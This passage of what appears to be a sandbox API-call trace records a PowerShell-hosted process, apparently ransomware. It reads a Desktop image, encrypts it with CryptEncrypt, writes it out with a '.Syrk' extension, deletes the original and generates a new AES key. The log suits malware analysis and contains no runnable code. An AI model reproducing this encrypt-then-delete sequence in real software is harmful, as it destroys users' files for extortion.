CryptDuplicateKey (in: hKey=0x5c69140, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x5c68d40) returned 1 [0207.971] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0207.971] CryptSetKeyParam (hKey=0x5c68d40, dwParam=0x4, pbData=0x23a9efc*=0x1, dwFlags=0x0) returned 1 [0207.971] CryptSetKeyParam (hKey=0x5c68d40, dwParam=0x1, pbData=0x23a9ec8, dwFlags=0x0) returned 1 [0207.971] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.971] EtwEventActivityIdControl () returned 0x0 [0207.971] EtwEventActivityIdControl () returned 0x0 [0207.971] EtwEventActivityIdControl () returned 0x0 [0207.972] EtwEventActivityIdControl () returned 0x0 [0207.973] ReadFile (in: hFile=0x42c, lpBuffer=0x23acb38, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x23acb38*, lpNumberOfBytesRead=0x5a2e6fc*=0xd910, lpOverlapped=0x0) returned 1 [0207.975] CryptEncrypt (in: hKey=0x5c68d40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23c0b50*, pdwDataLen=0x5a2e6f0*=0xd910, dwBufLen=0xd910 | out: pbData=0x23c0b50*, pdwDataLen=0x5a2e6f0*=0xd910) returned 1 [0207.976] WriteFile (in: hFile=0x44c, lpBuffer=0x23a8cac*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x23a8cac*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0207.977] WriteFile (in: hFile=0x44c, lpBuffer=0x23c1b3c*, nNumberOfBytesToWrite=0xc924, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x23c1b3c*, lpNumberOfBytesWritten=0x5a2e6d4*=0xc924, lpOverlapped=0x0) returned 1 [0207.991] ReadFile (in: hFile=0x42c, lpBuffer=0x23acb38, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x23acb38*, lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0207.992] CryptEncrypt (in: hKey=0x5c68d40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ce46c*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x23ce46c*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0207.992] CryptEncrypt (in: hKey=0x5c68d40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23ce488*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x23ce488*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0207.992] WriteFile (in: hFile=0x44c, lpBuffer=0x23a8cac*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x23a8cac*, lpNumberOfBytesWritten=0x5a2e71c*=0x10, lpOverlapped=0x0) returned 1 [0207.992] CloseHandle (hObject=0x44c) returned 1 [0208.090] CloseHandle (hObject=0x42c) returned 1 [0208.091] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.091] EtwEventActivityIdControl () returned 0x0 [0208.091] EtwEventActivityIdControl () returned 0x0 [0208.091] EtwEventActivityIdControl () returned 0x0 [0208.097] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png")) returned 0x20 [0208.099] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0208.099] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", lpFilePart=0x0) returned 0x2d [0208.099] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0208.099] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0208.100] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0208.100] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0208.100] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0208.100] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0208.100] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0208.100] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0208.100] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0208.100] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0208.100] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0208.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0208.101] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0208.101] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0208.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0208.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0208.101] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png")) returned 0x20 [0208.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0208.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", lpFilePart=0x0) returned 0x2d [0208.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0208.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", lpFilePart=0x0) returned 0x2d [0208.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0208.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0208.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", lpFilePart=0x0) returned 0x2d [0208.104] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0208.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0208.104] CoTaskMemAlloc (cb=0x404) returned 0x5c7e518 [0208.104] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c7e518, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0208.104] CoTaskMemFree (pv=0x5c7e518) [0208.106] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png")) returned 0x20 [0208.106] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0208.106] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", lpFilePart=0x0) returned 0x2d [0208.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0208.107] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png"), fInfoLevelId=0x0, lpFileInformation=0x23d9764 | out: lpFileInformation=0x23d9764*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ffb5160, ftCreationTime.dwHighDateTime=0x1d99989, ftLastAccessTime.dwLowDateTime=0x70d3f4a0, ftLastAccessTime.dwHighDateTime=0x1d99b78, ftLastWriteTime.dwLowDateTime=0x70d3f4a0, ftLastWriteTime.dwHighDateTime=0x1d99b78, nFileSizeHigh=0x0, nFileSizeLow=0xd910)) returned 1 [0208.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0208.107] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png")) returned 1 [0208.111] EtwEventActivityIdControl () returned 0x0 [0208.111] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.111] EtwEventActivityIdControl () returned 0x0 [0208.111] EtwEventActivityIdControl () returned 0x0 [0208.111] EtwEventActivityIdControl () returned 0x0 [0208.119] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png.syrk")) returned 0x20 [0208.120] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png.syrk")) returned 0x20 [0208.120] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0208.120] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png.Syrk", lpFilePart=0x0) returned 0x32 [0208.121] EtwEventActivityIdControl () returned 0x0 [0208.121] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.121] EtwEventActivityIdControl () returned 0x0 [0208.121] EtwEventActivityIdControl () returned 0x0 [0208.122] EtwEventActivityIdControl () returned 0x0 [0208.126] EtwEventActivityIdControl () returned 0x0 [0208.126] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.126] EtwEventActivityIdControl () returned 0x0 [0208.126] EtwEventActivityIdControl () returned 0x0 [0208.126] EtwEventActivityIdControl () returned 0x0 [0208.129] EtwEventActivityIdControl () returned 0x0 [0208.130] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.130] EtwEventActivityIdControl () returned 0x0 [0208.130] EtwEventActivityIdControl () returned 0x0 [0208.130] EtwEventActivityIdControl () returned 0x0 [0208.408] EtwEventActivityIdControl () returned 0x0 [0208.409] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.409] EtwEventActivityIdControl () returned 0x0 [0208.409] EtwEventActivityIdControl () returned 0x0 [0208.409] EtwEventActivityIdControl () returned 0x0 [0208.412] EtwEventActivityIdControl () returned 0x0 [0208.413] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.413] EtwEventActivityIdControl () returned 0x0 [0208.413] EtwEventActivityIdControl () returned 0x0 [0208.413] EtwEventActivityIdControl () returned 0x0 [0208.416] EtwEventActivityIdControl () returned 0x0 [0208.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0208.421] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23e3154 | out: lpFileInformation=0x23e3154*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf861a3c0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf861a3c0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf8666680, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xd934)) returned 1 [0208.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0208.422] GetConsoleOutputCP () returned 0x1b5 [0208.423] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0208.423] GetConsoleOutputCP () returned 0x1b5 [0208.423] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0208.423] GetConsoleOutputCP () returned 0x1b5 [0208.423] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0208.423] GetConsoleOutputCP () returned 0x1b5 [0208.423] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0208.423] GetConsoleOutputCP () returned 0x1b5 [0208.423] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0208.423] GetConsoleOutputCP () returned 0x1b5 [0208.424] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0208.424] GetConsoleOutputCP () returned 0x1b5 [0208.424] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0208.424] GetConsoleOutputCP () returned 0x1b5 [0208.424] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0208.424] GetConsoleOutputCP () returned 0x1b5 [0208.424] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0208.424] GetConsoleOutputCP () returned 0x1b5 [0208.424] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0208.425] GetConsoleOutputCP () returned 0x1b5 [0208.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0208.425] GetConsoleOutputCP () returned 0x1b5 [0208.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0208.425] GetConsoleOutputCP () returned 0x1b5 [0208.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0208.425] GetConsoleOutputCP () returned 0x1b5 [0208.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0208.425] GetConsoleOutputCP () returned 0x1b5 [0208.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0208.426] GetConsoleOutputCP () returned 0x1b5 [0208.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0208.426] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0208.426] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0208.427] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23fceb4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x23fceb4*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0208.427] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0208.428] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0208.429] EtwEventActivityIdControl () returned 0x0 [0208.429] EtwEventActivityIdControl () returned 0x0 [0208.429] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.430] EtwEventActivityIdControl () returned 0x0 [0208.430] EtwEventActivityIdControl () returned 0x0 [0208.430] EtwEventActivityIdControl () returned 0x0 [0208.432] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.432] EtwEventActivityIdControl () returned 0x0 [0208.432] EtwEventActivityIdControl () returned 0x0 [0208.432] EtwEventActivityIdControl () returned 0x0 [0208.434] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4cff0) returned 1 [0208.435] CryptGenKey (in: hProv=0x5c4cff0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c68e40) returned 1 [0208.435] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0208.436] CryptExportKey (in: hKey=0x5c68e40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0208.436] CryptExportKey (in: hKey=0x5c68e40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24049e0, pdwDataLen=0x5a2e82c | out: pbData=0x24049e0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0208.436] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.436] EtwEventActivityIdControl () returned 0x0 [0208.436] EtwEventActivityIdControl () returned 0x0 [0208.436] EtwEventActivityIdControl () returned 0x0 [0208.437] SysStringLen (param_1="") returned 0x8 [0208.437] SysStringLen (param_1="4") returned 0x8 [0208.437] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.437] SysStringLen (param_1="욞멜⎀﵎숔结表ퟰ") returned 0x8 [0208.437] SysStringLen (param_1="욞멜⎀﵎숔结表ퟰ") returned 0x8 [0208.437] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.437] SysStringLen (param_1="4r") returned 0x8 [0208.437] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.438] SysStringLen (param_1="뽥揥履䭈뛀厏竀胜") returned 0x8 [0208.438] SysStringLen (param_1="뽥揥履䭈뛀厏竀胜") returned 0x8 [0208.438] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.438] SysStringLen (param_1="4rs") returned 0x8 [0208.438] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.438] SysStringLen (param_1="퟊뙼瑛᨜ꕩ\嫞癓∁) returned 0x8 [0208.438] SysStringLen (param_1="퟊뙼瑛᨜ꕩ\嫞癓∁) returned 0x8 [0208.438] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.438] SysStringLen (param_1="4rs0") returned 0x8 [0208.438] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.438] SysStringLen (param_1="ꆩ⽆鐉㇑믷䉶") returned 0x8 [0208.438] SysStringLen (param_1="ꆩ⽆鐉㇑믷䉶") returned 0x8 [0208.438] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.438] SysStringLen (param_1="4rs0K") returned 0x8 [0208.438] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.438] SysStringLen (param_1="戚뜽눙箽㰯\땞⋚) returned 0x8 [0208.438] SysStringLen (param_1="戚뜽눙箽㰯\땞⋚) returned 0x8 [0208.439] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.439] SysStringLen (param_1="4rs0Kv") returned 0x8 [0208.439] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.439] SysStringLen (param_1="튤苅］돻噢ㆰ㱉提") returned 0x8 [0208.439] SysStringLen (param_1="튤苅］돻噢ㆰ㱉提") returned 0x8 [0208.439] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.439] SysStringLen (param_1="4rs0KvK") returned 0x8 [0208.439] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.439] SysStringLen (param_1="戻培罤뻭䗴흶") returned 0x8 [0208.439] SysStringLen (param_1="戻培罤뻭䗴흶") returned 0x8 [0208.439] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.439] SysStringLen (param_1="4rs0KvKG") returned 0x8 [0208.439] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.439] SysStringLen (param_1="픈妤႓扒埩冻䠒") returned 0x8 [0208.440] SysStringLen (param_1="픈妤႓扒埩冻䠒") returned 0x8 [0208.440] SysStringLen (param_1="픈妤႓扒埩冻䠒") returned 0x8 [0208.440] SysStringLen (param_1="픈妤႓扒埩冻䠒") returned 0x10 [0208.440] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.440] SysStringLen (param_1="4rs0KvKGN愱柺𷀆部蔩") returned 0x10 [0208.440] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.440] SysStringLen (param_1="픈妤႓扒埩冻䠒㯕涐浭㒈ᓣ甚痢ךּ") returned 0x10 [0208.440] SysStringLen (param_1="픈妤႓扒埩冻䠒㯕涐浭㒈ᓣ甚痢ךּ") returned 0x10 [0208.440] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.441] SysStringLen (param_1="4rs0KvKGNn柺𷀆部蔩") returned 0x10 [0208.441] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.441] SysStringLen (param_1="픈妤႓扒埩冻䠒⃴\㟝솔鎒檱֚琙⋔) returned 0x10 [0208.441] SysStringLen (param_1="픈妤႓扒埩冻䠒⃴\㟝솔鎒檱֚琙⋔) returned 0x10 [0208.441] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.441] SysStringLen (param_1="4rs0KvKGNnV𷀆部蔩") returned 0x10 [0208.441] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.441] SysStringLen (param_1="픈妤႓扒埩冻䠒硻ǐ릧︱紥リ㫤㇊") returned 0x10 [0208.441] SysStringLen (param_1="픈妤႓扒埩冻䠒硻ǐ릧︱紥リ㫤㇊") returned 0x10 [0208.441] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: 